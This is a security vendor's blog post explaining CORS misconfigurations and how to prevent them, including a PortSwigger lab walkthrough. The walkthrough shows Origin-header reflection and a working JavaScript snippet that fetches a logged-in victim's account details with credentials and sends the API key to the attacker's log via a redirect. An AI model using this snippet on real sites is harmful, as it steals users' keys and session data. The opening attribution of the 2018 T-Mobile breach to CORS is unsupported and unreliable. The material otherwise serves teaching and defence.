Products

Solutions

Resources

CORS Vulnerabilities: How Attackers Exploit Cross-Origin Resource Sharing to Steal API Keys

CORS is commonly used to enable web pages to interact with APIs hosted on a different domain than the web page itself.

CORS vulnerability
CORS vulnerability
CORS vulnerability

Medusa

9 mins

In the 2018 T-Mobile data breach, an attacker gained access to millions of T-Mobile customer records by exploiting a vulnerability in a third-party API that T-Mobile used. The vulnerability was caused by a misconfigured CORS policy that allowed any domain to access the API's resources. The attacker used this vulnerability to steal customer data, including names, dates of birth, Social Security numbers, and other sensitive information. T-Mobile later fixed the vulnerability and offered free credit monitoring to affected customers.

Definition and Overview of Cross-Origin Resource Sharing

Cross-origin resource sharing (CORS) is a security feature that allows a web page from one domain or origin to access resources from another domain. This is necessary because, by default, web browsers prohibit web pages from making requests to a different domain than the one that served the page. CORS is commonly used to enable web pages to interact with APIs hosted on a different domain than the web page itself.

To enable CORS, the server must include the following HTTP headers in the response to the browser's request:

Access-Control-Allow-Origin: <origin> 
Access-Control-Allow-Methods: <methods> 
Access-Control-Allow-Headers: <headers>

The Access-Control-Allow-Origin header specifies which domains are allowed to access the resources. If the header is set to "*", then any domain is allowed to access the resources. Otherwise, the header must be set to a specific domain or list of domains.

The Access-Control-Allow-Methods header specifies which HTTP methods are allowed for the requested resource. The header must be set to a comma-separated list of HTTP method names, such as "GET, POST, PUT".

The Access-Control-Allow-Headers header specifies which HTTP headers are allowed for the requested resource. The header must be set to a comma-separated list of HTTP header names, such as "Content-Type, Authorization".

It is important to carefully configure these headers to ensure that only trusted domains are allowed to access the resources and that only the necessary HTTP methods and headers are allowed for each resource.

Need for Cross-Origin Resource Sharing

An example of CORS in action would be a web page hosted on domain A making a request to an API hosted on domain B. Without CORS, this request would be blocked by the browser's same-origin policy. However, if the API on domain B has been configured to allow requests from domain A, then the request will be allowed to proceed and the web page will be able to access the API's resources.

CORS works by adding an extra HTTP header to the requests and responses that the browser sends and receives. This header, called "Access-Control-Allow-Origin", specifies which domains are allowed to access the resources. If the header is not present or does not include the domain making the request, then the request will be blocked by the browser.

"Explanation of the Same-Origin Policy: The same-origin policy is a security feature built into web browsers that prevent web pages from making requests to a different domain than the one that served the page. This is important because it prevents malicious websites from making requests to steal sensitive data or perform unauthorized actions on behalf of the user. For example, if you are logged into your bank account and visit a different website, the same-origin policy prevents that website from making requests to your bank's servers to steal your information or perform transactions on your behalf."

CORS Policies

CORS policies, or Cross-Origin Resource Sharing policies, are rules implemented by servers to control access to their resources from different domains. These policies specify which domains are allowed to make requests to the server and what actions they are allowed to perform.

CORS policies are important for web security because they help prevent unauthorized access to sensitive data or the execution of unauthorized actions on behalf of the user. By configuring CORS policies correctly, server administrators can ensure that only trusted domains can access their resources and that only necessary actions are allowed.

Some common CORS policy headers include:

  • Access-Control-Allow-Origin: Specifies the domains that are allowed to access the resources. This header can be set to a specific domain or a wildcard "*" to allow any domain.

  • Access-Control-Allow-Methods: Specifies the HTTP methods (such as GET, POST, or PUT) that are allowed for the requested resource.

  • Access-Control-Allow-Headers: Specifies the HTTP headers that are allowed for the requested resource.

Problem of cross-origin requests

While CORS is a powerful tool for enabling web pages to access APIs hosted on different domains, it also introduces security risks if not implemented correctly. Attackers can exploit misconfigured CORS policies to bypass the browser's same-origin policy and steal sensitive information or perform unauthorized actions on behalf of the user. Therefore, it is important to carefully configure CORS policies to ensure that only trusted domains are allowed to access the resources.

Security Considerations and CORS

Types of Cross-Origin Resource-Sharing Vulnerabilities

1. Origin Header Manipulation

An attacker can manipulate the "Origin" header in a cross-domain request to bypass the CORS restrictions. By setting a custom "Origin" header, the attacker can make the server believe that the request is coming from an allowed domain, even if it is not. This can allow the attacker to access sensitive information from the server.

2. Cross-Domain Data Theft

An attacker can use a cross-domain request to steal sensitive data from a user. For example, if the user is logged in to a banking website and visits a malicious website, the attacker can use a cross-domain request to fetch the user's banking information from the banking website.

3. Cross-Domain Request Forgery

An attacker can use a cross-domain request to perform unauthorized actions on behalf of the user. For example, if the user is logged in to a social media website and visits a malicious website, the attacker can use a cross-domain request to post a message on behalf of the user on the social media website.

To prevent these vulnerabilities, it is important to implement secure CORS policies and validate all incoming requests on the server side.

If you are interested in a live practical demonstration, check out this Youtube video.

CORS Example with Practical Demonstration

For the demonstration, I’m going to use a lab from PortSwigger.

This lab has a blogging site that allows users to log in to the application. Upon logging in, the user is provided with an API key from a different domain.

The following is the request that was captured in BurpSuite when I clicked on "My Account" to see my details.

CORS example


In the screenshot, you can find the "/accountDetails" path, which fetches user information. The response contains user details such as username, email, and API key.

The response includes a header called Access-Control-Allow-Credentials that is set to true. This is because, by default, browsers do not include credentials in cross-origin requests for security reasons. However, in some scenarios, you may legitimately need to send authenticated requests across different origins. In these cases, you can enable the inclusion of credentials in cross-origin requests by setting the "Access-Control-Allow-Credentials" header to "true" on the server side.

Injecting Header

We will add a header to the request with the value "origin: http://example.com/ and then send the request.

Inect header


In the response, an additional header called "Access-Control-Allow-Origin" can be seen, which contains the value provided in the request origin header. This means that the input is being reflected in the response.

Since the application is reflecting arbitrary values in the Access-Control-Allow-Origin header, this simply means any domain can access any random domain resources.

Test for CORS using the best proactive API Security product

Our customers love us for our proactive approach and world class API Security test templates. Try Akto's test library yourself in your testing playground. Play with the default test or add your own.

How Hacker’s Exploit CORS vulnerability?

The hacker has created their own domain. They will then create a malicious request and send it to the vulnerable server. Since the server is not validating the domain, it will send the response back to the hacker's server. From there, the hacker can check the logs to see if there is any sensitive information, such as an API key.

This is what the malicious javascript request looks like:

malicious javascript


The code is a JavaScript snippet that makes an XMLHttpRequest to a specified URL and retrieves the account details from that endpoint. Let's break down the code and understand its functionality:

var req = new XMLHttpRequest();

This line creates a new instance of the XMLHttpRequest object, which is commonly used to make HTTP requests from JavaScript.

req.onload = reqListener;

This sets the onload event handler for the XMLHttpRequest object. When the response is received from the server, the reqListener function will be executed.

req.open('get','[YOUR-LAB-ID.web-security-academy.net/accountDetails](<http://your-lab-id.web-security-academy.net/accountDetails>)',true);

This line initializes the XMLHttpRequest with the specified HTTP method ('GET') and URL ('YOUR-LAB-ID.web-security-academy.net/accountDetails'). The third parameter (true) indicates that the request should be asynchronous.

req.withCredentials = true;

By setting withCredentials to true, the code enables sending credentials (such as cookies or HTTP authentication) with the XMLHttpRequest. This is only possible if the server allows it by setting the appropriate CORS headers.

function reqListener() { 
location='/log?key='+this.responseText; 
};

The reqListener function is executed when the server's response is received. It redirects the user's browser to a new location by setting the location to '/log?key='+this.responseText. The this.responseText retrieves the response received from the server, and it's used as a query parameter in the redirect URL.

Basically, JavaScript is sending requests on behalf of another user. An attacker can simply send a web page link containing this malicious JavaScript to the victim. When the victim, who has an active session on the vulnerable server, clicks on the link, the request(fetching account details) is automatically sent to the vulnerable server. The response, containing sensitive information, is then redirected to the hacker's server logs.


vulnerable request processing


The vulnerable server will process the request and will send a response to the hacker’s server.

From the above screenshot, we can see logs that contain sensitive information about the administrator user, including their API Key.

logs cantain API key


In the above screenshot, you can see the highlighted API key in the logs. Since it's encoded, I'll decode it using the Burp Decoder with the "Smart Decode" option.

smart decode


We were able to successfully fetch another user's API key simply by sending them a link.

Access-Control-Allow-Origin response header and CORS

The Access-Control-Allow-Origin response header is a part of the Cross-Origin Resource Sharing (CORS) mechanism. It is used by the server to specify which domains are allowed to access its resources.

This header is included in the server's response to the browser's request, and it determines whether the browser should allow the client-side JavaScript to access the response.

The value of the Access-Control-Allow-Origin header can be set to "*", indicating that any domain is allowed to access the resources. Alternatively, it can be set to a specific domain or a list of domains that are allowed to access the resources.

The following is an example of an HTTP request that includes the implementation of the Access-Control-Allow-Origin header:

GET /api/data HTTP/1.1 Host: example.com Origin: <http://example-domain.com> Access-Control-Request-Method: GET Access-Control-Request-Headers: authorization

In this example, the request is made to the /api/data endpoint on the example.com server. The Origin header specifies the domain from which the request originates (http://example-domain.com). The Access-Control-Request-Method header specifies the HTTP method that will be used in the actual request. The Access-Control-Request-Headers header specifies the additional headers that will be included in the actual request, such as the authorization header.

The server's response will include the Access-Control-Allow-Origin header to indicate which domains are allowed to access the resources. For example:

HTTP/1.1 200 OK Access-Control-Allow-Origin: <http://example-domain.com> Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: authorization

In this response, the Access-Control-Allow-Origin header specifies that the http://example-domain.com domain is allowed to access the resources. The Access-Control-Allow-Methods header specifies that the GET and POST methods are allowed. The Access-Control-Allow-Headers header specifies that the authorization header is allowed.

By including these headers in the server's response, the server defines the CORS policy and controls which domains are allowed to access its resources.

CORS Prevention

To prevent cross-origin resource sharing (CORS) vulnerabilities, it is important to implement secure CORS policies and validate all incoming requests on the server side. Here are some best practices:

Configuration of Access-Control-Allow-Origin Header

To limit which domains can access the resources, configure the Access-Control-Allow-Origin header. Instead of allowing all domains with the "*" wildcard, use a whitelist approach.

Usage of Access-Control-Allow-Credentials Header

Control whether credentials, such as cookies or HTTP authentication, can be included in cross-origin requests by utilizing the Access-Control-Allow-Credentials header. Only allow authenticated requests from trusted domains.

Limitation of HTTP Methods with Access-Control-Allow-Methods Header

To restrict which HTTP methods are allowed for each resource, employ the Access-Control-Allow-Methods header. Only permit the necessary methods for each resource.

Restriction of HTTP Headers with Access-Control-Allow-Headers Header

To limit which HTTP headers are allowed for each resource, utilize the Access-Control-Allow-Headers header. Only allow the necessary headers for each resource.

Validation of Incoming Requests on the Server Side

Ensure that all incoming requests on the server side are coming from trusted domains and contain valid data. Validate them accordingly.

Encryption of Communication with HTTPS

To prevent eavesdropping and tampering, encrypt all communication between the client and server using HTTPS.

Keeping the CORS Policy Restrictive

Reduce the risk of vulnerabilities and limit the attack surface by maintaining a restrictive CORS policy.

In summary, awareness of CORS vulnerabilities is vital to ensuring robust API security. By taking preventive measures and staying informed, we can effectively safeguard our applications.

You can use Akto's test library to test your APIs for similar vulnerabilities. You can also customize these tests as per your custom use case using Akto's test editor.

Thank you for being a part of this blog.

Follow us for more updates

Follow us for more updates

Follow us for more updates

Want to ask something?

Our community offers a network of support and resources. You can ask any question there and will get a reply in 24 hours.

Want to ask something?

Our community offers a network of support and resources. You can ask any question there and will get a reply in 24 hours.

Want to ask something?

Our community offers a network of support and resources. You can ask any question there and will get a reply in 24 hours.

Table of contents